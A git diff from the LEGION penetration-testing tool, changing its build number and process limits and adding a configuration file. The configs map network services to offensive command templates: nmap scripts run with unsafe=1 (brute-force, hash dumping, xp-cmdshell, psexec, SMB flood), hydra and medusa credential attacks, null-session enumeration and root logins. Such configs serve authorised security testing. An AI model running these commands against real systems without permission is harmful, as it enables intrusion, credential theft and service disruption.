+http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp +snmp-default=snmp, udp +snmpcheck=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage5-ports=T:30000-65535 diff --git a/controller/controller.py b/controller/controller.py index fe95ba81..8ec8a41e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551105399' + self.build = '1551116248' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/legion.conf b/legion.conf index 850f1c82..5684f2fd 100644 --- a/legion.conf +++ b/legion.conf @@ -9,14 +9,14 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,100,100,100,100,100,100,100,0,100,0,100,100" +process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" [GeneralSettings] default-terminal=gnome-terminal enable-scheduler=True enable-scheduler-on-import=False -max-fast-processes=10 -max-slow-processes=10 +max-fast-processes=5 +max-slow-processes=5 screenshooter-timeout=15000 tool-output-black-background=False web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" @@ -288,97 +288,17 @@ vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp [SchedulerSettings] -citrix-enum-apps-xml.nse=citrix, tcp -citrix-enum-apps.nse=citrix, tcp -citrix-enum-servers-xml.nse=citrix, tcp -citrix-enum-servers.nse=citrix, tcp -ftp-anon.nse=ftp, tcp ftp-default=ftp, tcp -ftp-proftpd-backdoor.nse=ftp, tcp -ftp-vsftpd-backdoor.nse=ftp, tcp -ftp-vuln-cve2010-4221.nse=ftp, tcp -http-vuln-cve2009-3960.nse=http, tcp -http-vuln-cve2010-0738.nse=http, tcp -http-vuln-cve2010-2861.nse=http, tcp -http-vuln-cve2011-3192.nse=http, tcp -http-vuln-cve2011-3368.nse=http, tcp -http-vuln-cve2012-1823.nse=http, tcp -http-vuln-cve2013-0156.nse=http, tcp -http-wordpress-enum.nse=http, tcp -http-wordpress-plugins.nse=http, tcp -imap-capabilities.nse=imap, tcp -irc-botnet-channels.nse=irc, tcp -irc-info.nse=irc, tcp -irc-unrealircd-backdoor.nse=irc, tcp -ms-sql-config.nse=ms-sql, tcp -ms-sql-dac.nse=ms-sql, tcp -ms-sql-dump-hashes.nse=ms-sql, tcp -ms-sql-empty-password.nse=ms-sql, tcp -ms-sql-hasdbaccess.nse=ms-sql, tcp -ms-sql-info.nse=ms-sql, tcp -ms-sql-query.nse=ms-sql, tcp -ms-sql-tables.nse=ms-sql, tcp -ms-sql-xp-cmdshell.nse=ms-sql, tcp -msrpc-enum.nse=msrpc, tcp mssql-default=ms-sql-s, tcp -mysql-audit.nse=mysql, tcp -mysql-databases.nse=mysql, tcp mysql-default=mysql, tcp -mysql-dump-hashes.nse=mysql, tcp -mysql-empty-password.nse=mysql, tcp -mysql-enum.nse=mysql, tcp -mysql-info.nse=mysql, tcp -mysql-query.nse=mysql, tcp -mysql-users.nse=mysql, tcp -mysql-variables.nse=mysql, tcp -mysql-vuln-cve2012-2122.nse=mysql, tcp -nfs-ls.nse=nfs, tcp -nfs-showmount.nse=nfs, tcp -nfs-statfs.nse=nfs, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt", tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp oracle-default=oracle-tns, tcp -oracle-enum-users.nse=oracle, tcp -oracle-sid-brute.nse=oracle, tcp -pop3-capabilities.nse=pop3, tcp postgres-default=postgresql, tcp -realvnc-auth-bypass.nse=vnc, tcp -samba-vuln-cve-2012-1182.nse=samba, tcp -screenshooter="http,https,ssl,http-proxy,http-alt", tcp -smb-check-vulns.nse=smb, tcp -smb-enum-domains.nse=smb, tcp -smb-enum-groups.nse=smb, tcp -smb-enum-processes.nse=smb, tcp -smb-enum-sessions.nse=smb, tcp -smb-enum-shares.nse=smb, tcp -smb-enum-users.nse=smb, tcp -smb-ls.nse=smb, tcp -smb-mbenum.nse=smb, tcp -smb-psexec.nse=smb, tcp -smb-vuln-ms10-054.nse=smb, tcp -smb-vuln-ms10-061.nse=smb, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp smbenum=microsoft-ds, tcp -smtp-commands.nse=smtp, tcp -smtp-enum-users.nse=smtp, tcp smtp-enum-vrfy=smtp, tcp -smtp-open-relay.nse=smtp, tcp -smtp-strangeport.nse=smtp, tcp -smtp-vuln-cve2010-4344.nse=smtp, tcp -smtp-vuln-cve2011-1720.nse=smtp, tcp -smtp-vuln-cve2011-1764.nse=smtp, tcp snmp-default=snmp, udp -snmp-hh3c-logins.nse=snmp, tcp -snmp-interfaces.nse=snmp, tcp -snmp-ios-config.nse=snmp, tcp -snmp-netstat.nse=snmp, tcp -snmp-processes.nse=snmp, tcp -snmp-sysdescr.nse=snmp, tcp -snmp-win32-services.nse=snmp, tcp -snmp-win32-shares.nse=snmp, tcp -snmp-win32-software.nse=snmp, tcp -snmp-win32-users.nse=snmp, tcp snmpcheck=snmp, udp -tftp-enum.nse=tftp, udp -vnc-info.nse=vnc, tcp x11screen=X11, tcp [StagedNmapSettings] @@ -386,4 +306,4 @@ stage1-ports="T:80,443" stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports=T:30000-65535 +stage5-ports="T:30000-65535" diff --git a/legion.max.conf b/legion.max.conf new file mode 100644 index 00000000..fc2e986e --- /dev/null +++ b/legion.max.conf @@ -0,0 +1,389 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,100,100,100,100,100,100,100,0,100,0,100,100" + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default 